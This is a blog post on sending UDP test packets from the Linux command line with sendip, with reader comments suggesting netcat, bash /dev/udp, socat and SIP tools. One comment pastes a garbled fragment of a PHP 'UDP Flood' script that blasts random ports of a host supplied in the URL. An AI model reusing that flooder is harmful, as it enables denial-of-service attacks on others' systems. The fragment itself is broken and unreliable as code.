Sending UDP packets from the command line

Although is pretty easy to write a perl/python script to send UDP data, I wanted to be able to send a UDP message from the command line to test some code quickly. After 15 seconds of googling I found the awesome command “sendip”. After a minute of reading the man page I got what I needed:

sendip -p ipv4 -is -p udp -us 5070 -ud 5060 -d "Hello" -v

This should send a “Hello” message over udp to port 5060 using an ipv4 address.

Here the result:

Added 26 options
Initializing module ipv4
Initializing module udp
Finalizing module udp
Finalizing module ipv4
Final packet data:
45 00 00 21   E..!
34 E0 00 00   4...
FF 11 02 F9   ....
C0 A8 01 51   ...Q
C0 A8 01 51   ...Q
13 CE 13 C4   ....
00 0D 30 7D   ..0}
48 65 6C 6C   Hell
6F   o
Sent 33 bytes to
Freeing module ipv4
Freeing module udp

It is pretty awesome that you can build about any protocol packet for quick testing using just bash …

This entry was posted in linux. Bookmark the permalink.

17 Responses to Sending UDP packets from the command line

  1. Ananth says:

    do I need to install sendIp software to use this unix command to set packets?

  2. Chris says:

    you can also use the ubiquitous net cat
    echo -n “foo” | nc -4u -w1

  3. Zied says:

    Thanks for this topic. found exactly what I want to troubleshot rsyslog remote udp message logging

  4. Tim says:

    If you want an easy to way to send/receive TCP/UDP packets, you can just download this:

  5. RR says:

    Is “SendIP” a third part tool or comes as port of windows?

  6. ss says:

    background-color: #00FF00; font-size: 8pt; color: black; font-family: Tahoma; border: 1 solid #66;
    background-color: #00FF00; font-size: 8pt; color: black; font-family: Tahoma; border: 1 solid #66;
    body {
    background-color: black;

    $packets = 0;

    $exec_time = $_GET['time'];

    $time = time();
    //print "Started: ".time('d-m-y h:i:s')."”;
    $max_time = $time+$exec_time;

    $host = $_GET[‘host’];

    for($i=0;$i $max_time){
    $rand = rand(1,65000);
    $fp = fsockopen(‘udp://’.$host, $rand, $errno, $errstr, 5);
    fwrite($fp, $out);
    echo “UDP FloodCompleted with $packets (” . round(($packets*65)/1024, 2) . ” MB) packets averaging “. round($packets/$exec_time, 2) . ” packets per second \n”;
    echo ‘
    This form is inoperational!

    Length (seconds):
    }else{ echo ‘UDP Flood
    This form is inoperational!

    Length (seconds):

  7. Rain says:

    how to send to a ports range ?

  8. Moy says:

    It is definitely another option and looks easier. However, it is probably not as powerful.

    * Can you specify IPv6 somehow? perhaps implicit when using IPv6 address formatting?

    * How do you specify the source IP address and port?

    Another difference is that if you’re using dash (Ubuntu now ships with it I believe), zsh, korn shell or others, that might not work.

  9. Peter says:

    Is it easier to use bash’s built in TCP/UDP handling capabilities?

    echo “hello” > /dev/tcp/
    echo “hello” > /dev/udp/

  10. Moy says:

    Yes you can do that.

    Don’t do evil stuff!

  11. Vice says:

    can u send that to a public ip like google server or something like that?

  12. Moy says:

    Hey Vlad!

    That’s a creative use of socat.

    I had only used it in the past to quickly send freeswitch ESL commands over TCP from bash, I should’ve thought udp support was there as well.

    Thanks for sharing!

  13. Vlad says:

    Hi Moy,

    I like socat:
    echo “HELLO” | socat – UDP-DATAGRAM:,broadcast

    Checkout some examples:

  14. Moy says:

    Hi José,

    Never used sipsak, whenever I need full SIP testing I use “sipp”. I see sipsak handy though for quick testing without bothering to write an XML scenario for sipp. Thanks for sharing!

  15. Jose Ferney Franco says:

    Have you tried “sipsak” for SIP testing?

  16. M00kaw says:

    This is really indeed awesome!
    I was looking at some ruby / perl code for creating such a tool…
    I still think I’m going to play with it – but this is just so awesome..
    Linux just keeps surprising me..

    Thanks a lot for sharing!

  17. mis_suscripciones says:

    Gracias por compartir, acabo de publicar tu enlace en Reddit:

Leave a Reply

Your email address will not be published. Required fields are marked *